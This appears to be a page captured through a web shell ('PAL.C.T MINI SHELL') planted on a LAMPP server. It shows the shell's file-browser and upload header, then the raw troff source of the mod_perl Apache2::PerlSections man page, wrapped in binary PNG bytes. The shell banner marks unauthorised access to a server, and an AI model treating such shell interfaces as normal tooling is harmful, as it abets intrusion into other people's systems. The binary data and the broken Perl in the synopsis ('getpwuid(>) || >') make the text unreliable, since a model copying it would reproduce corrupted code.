php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /opt/lampp/share/man/man3/
upload
files >> //opt/lampp/share/man/man3/Apache2::PerlSections.3

.\" Automatically generated by Pod::Man 2.25 (Pod::Simple 3.20)
.\"
.\" Standard preamble:
.\" ========================================================================
.de Sp \" Vertical space (when we can't use .PP)
.if t .sp .5v
.if n .sp
..
.de Vb \" Begin verbatim text
.ft CW
.nf
.ne \\$1
..
.de Ve \" End verbatim text
.ft R
.fi
..
.\" Set up some character translations and predefined strings.  \*(-- will
.\" give an unbreakable dash, \*(PI will give pi, \*(L" will give a left
.\" double quote, and \*(R" will give a right double quote.  \*(C+ will
.\" give a nicer C++.  Capital omega is used to do unbreakable dashes and
.\" therefore won't be available.  \*(C` and \*(C' expand to `' in nroff,
.\" nothing in troff, for use with C<>.
.tr \(*W-
.ds C+ C\v'-.1v'\h'-1p'\s-2+\h'-1p'+\s0\v'.1v'\h'-1p'
.ie n \{\
.    ds -- \(*W-
.    ds PI pi
.    if (\n(.H=4u)&(1m=24u) .ds -- \(*W\h'-12u'\(*W\h'-12u'-\" diablo 10 pitch
.    if (\n(.H=4u)&(1m=20u) .ds -- \(*W\h'-12u'\(*W\h'-8u'-\"  diablo 12 pitch
.    ds L" ""
.    ds R" ""
.    ds C` ""
.    ds C' ""
'br\}
.el\{\
.    ds -- \|\(em\|
.    ds PI \(*p
.    ds L" ``
.    ds R" ''
'br\}
.\"
.\" Escape single quotes in literal strings from groff's Unicode transform.
.ie \n(.g .ds Aq \(aq
.el       .ds Aq '
.\"
.\" If the F register is turned on, we'll generate index entries on stderr for
.\" titles (.TH), headers (.SH), subsections (.SS), items (.Ip), and index
.\" entries marked with X<> in POD.  Of course, you'll have to process the
.\" output yourself in some meaningful fashion.
.ie \nF \{\
.    de IX
.    tm Index:\\$1\t\\n%\t"\\$2"
..
.    nr % 0
.    rr F
.\}
.el \{\
.    de IX
..
.\}
.\"
.\" Accent mark definitions (@(#)ms.acc 1.5 88/02/08 SMI; from UCB 4.2).
.\" Fear.  Run.  Save yourself.  No user-serviceable parts.
.    \" fudge factors for nroff and troff
.if n \{\
.    ds #H 0
.    ds #V .8m
.    ds #F .3m
.    ds #[ \f1
.    ds #] \fP
.\}
.if t \{\
.    ds #H ((1u-(\\\\n(.fu%2u))*.13m)
.    ds #V .6m
.    ds #F 0
.    ds #[ \&
.    ds #] \&
.\}
.    \" simple accents for nroff and troff
.if n \{\
.    ds ' \&
.    ds ` \&
.    ds ^ \&
.    ds , \&
.    ds ~ ~
.    ds /
.\}
.if t \{\
.    ds ' \\k:\h'-(\\n(.wu*8/10-\*(#H)'\'\h"|\\n:u"
.    ds ` \\k:\h'-(\\n(.wu*8/10-\*(#H)'\`\h'|\\n:u'
.    ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'^\h'|\\n:u'
.    ds , \\k:\h'-(\\n(.wu*8/10)',\h'|\\n:u'
.    ds ~ \\k:\h'-(\\n(.wu-\*(#H-.1m)'~\h'|\\n:u'
.    ds / \\k:\h'-(\\n(.wu*8/10-\*(#H)'\z\(sl\h'|\\n:u'
.\}
.    \" troff and (daisy-wheel) nroff accents
.ds : \\k:\h'-(\\n(.wu*8/10-\*(#H+.1m+\*(#F)'\v'-\*(#V'\z.\h'.2m+\*(#F'.\h'|\\n:u'\v'\*(#V'
.ds 8 \h'\*(#H'\(*b\h'-\*(#H'
.ds o \\k:\h'-(\\n(.wu+\w'\(de'u-\*(#H)/2u'\v'-.3n'\*(#[\z\(de\v'.3n'\h'|\\n:u'\*(#]
.ds d- \h'\*(#H'\(pd\h'-\w'~'u'\v'-.25m'\f2\(hy\fP\v'.25m'\h'-\*(#H'
.ds D- D\\k:\h'-\w'D'u'\v'-.11m'\z\(hy\v'.11m'\h'|\\n:u'
.ds th \*(#[\v'.3m'\s+1I\s-1\v'-.3m'\h'-(\w'I'u*2/3)'\s-1o\s+1\*(#]
.ds Th \*(#[\s+2I\s-2\h'-\w'I'u*3/5'\v'-.3m'o\v'.3m'\*(#]
.ds ae a\h'-(\w'a'u*4/10)'e
.ds Ae A\h'-(\w'A'u*4/10)'E
.    \" corrections for vroff
.if v .ds ~ \\k:\h'-(\\n(.wu*9/10-\*(#H)'\s-2\u~\d\s+2\h'|\\n:u'
.if v .ds ^ \\k:\h'-(\\n(.wu*10/11-\*(#H)'\v'-.4m'^\v'.4m'\h'|\\n:u'
.    \" for low resolution devices (crt and lpr)
.if \n(.H>23 .if \n(.V>19 \
\{\
.    ds : e
.    ds 8 ss
.    ds o a
.    ds d- d\h'-1'\(ga
.    ds D- D\h'-1'\(hy
.    ds th \o'bp'
.    ds Th \o'LP'
.    ds ae ae
.    ds Ae AE
.\}
.rm #[ #] #H #V #F C
.\" ========================================================================
.\"
.IX Title "docs::api::Apache2::PerlSections 3"
.TH docs::api::Apache2::PerlSections 3 "2013-04-16" "perl v5.16.3" "User Contributed Perl Documentation"
.\" For nroff, turn off justification.  Always turn off hyphenation; it makes
.\" way too many mistakes in technical documents.
.if n .ad l
.nh
.SH "NAME"
Apache2::PerlSections \- write Apache configuration files in Perl
.SH "Synopsis"
.IX Header "Synopsis"
.Vb 2
\&  <Perl>
\&  @PerlModule = qw(Mail::Send Devel::Peek);
\&  
\&  #run the server as whoever starts it
\&  $User  = getpwuid(>) || >;
\&  $Group = getgrgid()) || );
\&  
\&  $ServerAdmin = $User;
\&  
\&  </Perl>
.Ve
.SH "Description"
.IX Header "Description"
With \f(CW\*(C`<Perl>\*(C'\fR...\f(CW\*(C`</Perl>\*(C'\fR sections, it is possible
to configure your server entirely in Perl.
.PP
\&\f(CW\*(C`<Perl>\*(C'\fR sections can contain \fIany\fR and as much Perl code as
you wish. These sections are compiled into a special package whose
symbol table mod_perl can then walk and grind the names and values of
Perl variables/structures through the Apache core configuration gears.
.PP
Block sections such as \f(CW\*(C`<Location>\*(C'\fR..\f(CW\*(C`</Location>\*(C'\fR
are represented in a \f(CW%Location\fR hash, e.g.:
.PP
.Vb 10
\&  <Perl>
\&  $Location{"/~dougm/"} = {
\&    AuthUserFile   => \*(Aq/tmp/htpasswd\*(Aq,
\&    AuthType       => \*(AqBasic\*(Aq,
\&    AuthName       => \*(Aqtest\*(Aq,
\&    DirectoryIndex => [qw(index.html index.htm)],
\&    Limit          => {
\&        "GET POST"    => {
\&            require => \*(Aquser dougm\*(Aq,
\&        }
\&    },
\&  };
\&  </Perl>
.Ve
.PP
If an Apache directive can take two or three arguments you may push
strings (the lowest number of arguments will be shifted off the
\&\f(CW@list\fR) or use an array reference to handle any number greater than
the minimum for that directive:
.PP
.Vb 1
\&  push @Redirect, "/foo", "http://www.foo.com/";
\&  
\&  push @Redirect, "/imdb", "http://www.imdb.com/";
\&  
\&  push @Redirect, [qw(temp "/here" "http://www.there.com")];
.Ve
.PP
Other section counterparts include \f(CW%VirtualHost\fR, \f(CW%Directory\fR and
\&\f(CW%Files\fR.
.PP
To pass all environment variables to the children with a single
configuration directive, rather than listing each one via \f(CW\*(C`PassEnv\*(C'\fR
or \f(CW\*(C`PerlPassEnv\*(C'\fR, a \f(CW\*(C`<Perl>\*(C'\fR section could read in a file and:
.PP
.Vb 1
\&  push @PerlPassEnv, [$key => $val];
.Ve
.PP
or
.PP
.Vb 1
\&  Apache2\->httpd_conf("PerlPassEnv $key $val");
.Ve
.PP
These are somewhat simple examples, but they should give you the basic
idea. You can mix in any Perl code you desire. See \fIeg/httpd.conf.pl\fR
and \fIeg/perl_sections.txt\fR in the mod_perl distribution for more
examples.
.PP
Assume that you have a cluster of machines with similar configurations
and only small distinctions between them: ideally you would want to
maintain a single configuration file, but because the configurations
aren't \fIexactly\fR the same (e.g. the \f(CW\*(C`ServerName\*(C'\fR directive) it's not
quite that simple.
.PP
\&\f(CW\*(C`<Perl>\*(C'\fR sections come to rescue. Now you have a single
configuration file and the full power of Perl to tweak the local
configuration. For example to solve the problem of the \f(CW\*(C`ServerName\*(C'\fR
directive you might have this \f(CW\*(C`<Perl>\*(C'\fR section:
.PP
.Vb 3
\&  <Perl>
\&  $ServerName = \`hostname\`;
\&  </Perl>
.Ve
.PP
For example if you want to allow personal directories on all machines
except the ones whose names start with \fIsecure\fR:
.PP
.Vb 9
\&  <Perl>
\&  $ServerName = \`hostname\`;
\&  if ($ServerName !~ /^secure/) {
\&      $UserDir = "public.html";
\&  }
\&  else {
\&      $UserDir = "DISABLED";
\&  }
\&  </Perl>
.Ve
.SH "API"
.IX Header "API"
\&\f(CW\*(C`Apache2::PerlSections\*(C'\fR provides the following functions and/or methods:
.ie n .SS """server"""
.el .SS "\f(CWserver\fP"
.IX Subsection "server"
Get the current server's object for the <Perl> section
.PP
.Vb 3
\&  <Perl>
\&    $s = Apache2::PerlSections\->server();
\&  </Perl>
.Ve
.ie n .IP "obj: ""Apache2::PerlSections"" (class name)" 4
.el .IP "obj: \f(CWApache2::PerlSections\fR (class name)" 4
.IX Item "obj: Apache2::PerlSections (class name)"
.PD 0
.ie n .IP "ret: $s ( ""Apache2::ServerRec object"" )" 4
.el .IP "ret: \f(CW$s\fR ( \f(CWApache2::ServerRec object\fR )" 4
.IX Item "ret: $s ( Apache2::ServerRec object )"
.IP "since: 2.0.03" 4
.IX Item "since: 2.0.03"
.PD
.ie n .SH "@PerlConfig and $PerlConfig"
.el .SH "\f(CW@PerlConfig\fP and \f(CW$PerlConfig\fP"
.IX Header "@PerlConfig and $PerlConfig"
This array and scalar can be used to introduce literal configuration
into the apache configuration. For example:
.PP
.Vb 1
\&  push @PerlConfig, \*(AqAlias /foo /bar\*(Aq;
.Ve
.PP
Or:
  \f(CW$PerlConfig\fR .= \*(L"Alias /foo /bar\en\*(R";
.PP
See also
\&\f(CW\*(C`$r\->add_config\*(C'\fR
.SH "Configuration Variables"
.IX Header "Configuration Variables"
There are a few variables that can be set to change the default
behaviour of \f(CW\*(C`<Perl>\*(C'\fR sections.
.ie n .SS "$Apache2::PerlSections::Save"
.el .SS "\f(CW$Apache2::PerlSections::Save\fP"
.IX Subsection "$Apache2::PerlSections::Save"
Each \f(CW\*(C`<Perl>\*(C'\fR section is evaluated in its unique namespace,
by default residing in a sub-namespace of \f(CW\*(C`Apache2::ReadConfig::\*(C'\fR,
therefore any local variables will end up in that namespace. For
example if a \f(CW\*(C`<Perl>\*(C'\fR section happened to be in file
\&\fI/tmp/httpd.conf\fR starting on line 20, the namespace:
\&\f(CW\*(C`Apache2::ReadConfig::tmp::httpd_conf::line_20\*(C'\fR will be used. Now if
it had:
.PP
.Vb 5
\&  <Perl>
\&    $foo     = 5;
\&    my $bar  = 6;
\&    $My::tar = 7;
\&  </Perl>
.Ve
.PP
The local global variable \f(CW$foo\fR becomes
\&\f(CW$Apache2::ReadConfig::tmp::httpd_conf::line_20::foo\fR, the other
variable remain where they are.
.PP
By default, the namespace in which \f(CW\*(C`<Perl>\*(C'\fR sections are
evaluated is cleared after each block closes. In our example nuking
\&\f(CW$Apache2::ReadConfig::tmp::httpd_conf::line_20::foo\fR, leaving the
rest untouched.
.PP
By setting \f(CW$Apache2::PerlSections::Save\fR to a true value, the content
of those namespaces will be preserved and will be available for
inspection by \f(CW\*(C`Apache2::Status\*(C'\fR and
\&\f(CW\*(C`Apache2::PerlSections\->dump\*(C'\fR
In our example \f(CW$Apache2::ReadConfig::tmp::httpd_conf::line_20::foo\fR
will still be accessible from other perl code, after the
\&\f(CW\*(C`<Perl>\*(C'\fR section was parsed.
.SH "PerlSections Dumping"
.IX Header "PerlSections Dumping"
.ie n .SS """Apache2::PerlSections\->dump"""
.el .SS "\f(CWApache2::PerlSections\->dump\fP"
.IX Subsection "Apache2::PerlSections->dump"
This method will dump out all the configuration variables mod_perl
will be feeding to the apache config gears. The output is suitable to
read back in via \f(CW\*(C`eval\*(C'\fR.
.PP
.Vb 1
\&  my $dump = Apache2::PerlSections\->dump;
.Ve
.ie n .IP "ret: $dump ( string / ""undef"" )" 4
.el .IP "ret: \f(CW$dump\fR ( string / \f(CWundef\fR )" 4
.IX Item "ret: $dump ( string / undef )"
A string dump of all the Perl code encountered in <Perl> blocks,
suitable to be read back via \f(CW\*(C`eval\*(C'\fR
.PP
For example:
.PP
.Vb 1
\&  <Perl>
\&  
\&  $Apache2::PerlSections::Save = 1;
\&  
\&  $Listen = 8529;
\&  
\&  $Location{"/perl"} = {
\&     SetHandler => "perl\-script",
\&     PerlHandler => "ModPerl::Registry",
\&     Options => "ExecCGI",
\&  };
\&  
\&  @DirectoryIndex = qw(index.htm index.html);
\&  
\&  $VirtualHost{"www.foo.com"} = {
\&     DocumentRoot => "/tmp/docs",
\&     ErrorLog => "/dev/null",
\&     Location => {
\&       "/" => {
\&         Allowoverride => \*(AqAll\*(Aq,
\&         Order => \*(Aqdeny,allow\*(Aq,
\&         Deny  => \*(Aqfrom all\*(Aq,
\&         Allow => \*(Aqfrom foo.com\*(Aq,
\&       },
\&     },
\&  };
\&  </Perl>
\&  
\&  <Perl>
\&  print Apache2::PerlSections\->dump;
\&  </Perl>
.Ve
.PP
This will print something like this:
.PP
.Vb 1
\&  $Listen = 8529;
\&  
\&  @DirectoryIndex = (
\&    \*(Aqindex.htm\*(Aq,
\&    \*(Aqindex.html\*(Aq
\&  );
\&  
\&  $Location{\*(Aq/perl\*(Aq} = (
\&      PerlHandler => \*(AqApache2::Registry\*(Aq,
\&      SetHandler => \*(Aqperl\-script\*(Aq,
\&      Options => \*(AqExecCGI\*(Aq
\&  );
\&  
\&  $VirtualHost{\*(Aqwww.foo.com\*(Aq} = (
\&      Location => {
\&        \*(Aq/\*(Aq => {
\&          Deny => \*(Aqfrom all\*(Aq,
\&          Order => \*(Aqdeny,allow\*(Aq,
\&          Allow => \*(Aqfrom foo.com\*(Aq,
\&          Allowoverride => \*(AqAll\*(Aq
\&        }
\&      },
\&      DocumentRoot => \*(Aq/tmp/docs\*(Aq,
\&      ErrorLog => \*(Aq/dev/null\*(Aq
\&  );
\&  
\&  1;
\&  _\|_END_\|_
.Ve
.PP
It is important to put the call to \f(CW\*(C`dump\*(C'\fR in it's own \f(CW\*(C`<Perl>\*(C'\fR
section, otherwise the content of the current \f(CW\*(C`<Perl>\*(C'\fR section
will not be dumped.
.ie n .SS """Apache2::PerlSections\->store"""
.el .SS "\f(CWApache2::PerlSections\->store\fP"
.IX Subsection "Apache2::PerlSections->store"
This method will call the \f(CW\*(C`dump\*(C'\fR method, writing the output
to a file, suitable to be pulled in via \f(CW\*(C`require\*(C'\fR or \f(CW\*(C`do\*(C'\fR.
.PP
.Vb 1
\&  Apache2::PerlSections\->store($filename);
.Ve
.ie n .IP "arg1: $filename (string)" 4
.el .IP "arg1: \f(CW$filename\fR (string)" 4
.IX Item "arg1: $filename (string)"
The filename to save the dump output to
.IP "ret: no return value" 4
.IX Item "ret: no return value"
.SH "Advanced API"
.IX Header "Advanced API"
mod_perl 2.0 now introduces the same general concept of handlers to
\&\f(CW\*(C`<Perl>\*(C'\fR sections.  Apache2::PerlSections simply being the
default handler for them.
.PP
To specify a different handler for a given perl section, an extra
handler argument must be given to the section:
.PP
.Vb 4
\&  <Perl handler="My::PerlSection::Handler" somearg="test1">
\&    $foo = 1;
\&    $bar = 2;
\&  </Perl>
.Ve
.PP
And in My/PerlSection/Handler.pm:
.PP
.Vb 4
\&  sub My::Handler::handler : handler {
\&      my ($self, $parms, $args) = @_;
\&      #do your thing!
\&  }
.Ve
.PP
So, when that given \f(CW\*(C`<Perl>\*(C'\fR block in encountered, the code
within will first be evaluated, then the handler routine will be
invoked with 3 arguments:
.ie n .IP "arg1: $self" 4
.el .IP "arg1: \f(CW$self\fR" 4
.IX Item "arg1: $self"
self-explanatory
.ie n .IP "arg2: $parms ( ""Apache2::CmdParms"" )" 4
.el .IP "arg2: \f(CW$parms\fR ( \f(CWApache2::CmdParms\fR )" 4
.IX Item "arg2: $parms ( Apache2::CmdParms )"
\&\f(CW$parms\fR is specific for the current Container, for example, you
might want to call \f(CW\*(C`$parms\->server()\*(C'\fR to get the current server.
.ie n .IP "arg3: $args ( ""APR::Table object"")" 4
.el .IP "arg3: \f(CW$args\fR ( \f(CWAPR::Table object\fR)" 4
.IX Item "arg3: $args ( APR::Table object)"
the table object of the section arguments. The 2 guaranteed ones will
be:
.Sp
.Vb 2
\&  $args\->{\*(Aqhandler\*(Aq} = \*(AqMy::PerlSection::Handler\*(Aq;
\&  $args\->{\*(Aqpackage\*(Aq} = \*(AqApache2::ReadConfig\*(Aq;
.Ve
.Sp
Other \f(CW\*(C`name="value"\*(C'\fR pairs given on the \f(CW\*(C`<Perl>\*(C'\fR line will
also be included.
.PP
At this point, it's up to the handler routing to inspect the namespace
of the \f(CW$args\fR\->{'package'} and chooses what to do.
.PP
The most likely thing to do is to feed configuration data back into
apache. To do that, use Apache2::Server\->add_config(\*(L"directive\*(R"),
for example:
.PP
.Vb 1
\&  $parms\->server\->add_config("Alias /foo /bar");
.Ve
.PP
Would create a new alias. The source code of \f(CW\*(C`Apache2::PerlSections\*(C'\fR
is a good place to look for a practical example.
.ie n .SH "Verifying ""<Perl>"" Sections"
.el .SH "Verifying \f(CW<Perl>\fP Sections"
.IX Header "Verifying <Perl> Sections"
If the \f(CW\*(C`<Perl>\*(C'\fR sections include no code requiring a running
mod_perl, it is possible to check those from the command line. But the
following trick should be used:
.PP
.Vb 3
\&  # file: httpd.conf
\&  <Perl>
\&  #!perl
\&  
\&  # ... code here ...
\&  
\&  _\|_END_\|_
\&  </Perl>
.Ve
.PP
Now you can run:
.PP
.Vb 1
\&  % perl \-c httpd.conf
.Ve
.SH "Bugs"
.IX Header "Bugs"
.SS "<Perl> directive missing closing '>'"
.IX Subsection "<Perl> directive missing closing '>'"
httpd\-2.0.47 had a bug in the configuration parser which caused the
startup failure with the following error:
.PP
.Vb 3
\&  Starting httpd:
\&  Syntax error on line ... of /etc/httpd/conf/httpd.conf:
\&  <Perl> directive missing closing \*(Aq>\*(Aq     [FAILED]
.Ve
.PP
This has been fixed in httpd\-2.0.48. If you can't upgrade to this or a
higher version, please add a space before the closing '>' of the
opening tag as a workaround. So if you had:
.PP
.Vb 3
\&  <Perl>
\&  # some code
\&  </Perl>
.Ve
.PP
change it to be:
.PP
.Vb 3
\&  <Perl >
\&  # some code
\&  </Perl>
.Ve
.SS "<Perl>[...]> was not closed."
.IX Subsection "<Perl>[...]> was not closed."
On encountering a one-line <Perl> block, 
httpd's configuration parser will cause a startup
failure with an error similar to this one:
.PP
.Vb 3
\&  Starting httpd:
\&  Syntax error on line ... of /etc/httpd/conf/httpd.conf:
\&  <Perl>use> was not closed.
.Ve
.PP
If you have written a simple one-line <Perl>
section like this one :
.PP
.Vb 1
\&  <Perl>use Apache::DBI;</Perl>
.Ve
.PP
change it to be:
.PP
.Vb 3
\&   <Perl>
\&   use Apache::DBI;
\&   </Perl>
.Ve
.PP
This is caused by a limitation of httpd's configuration
parser and is not likely to be changed to allow one-line
block like the example above. Use multi-line blocks instead.
.SH "See Also"
.IX Header "See Also"
mod_perl 2.0 documentation.
.SH "Copyright"
.IX Header "Copyright"
mod_perl 2.0 and its core modules are copyrighted under
The Apache Software License, Version 2.0.
.SH "Authors"
.IX Header "Authors"
The mod_perl development team and numerous
contributors.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`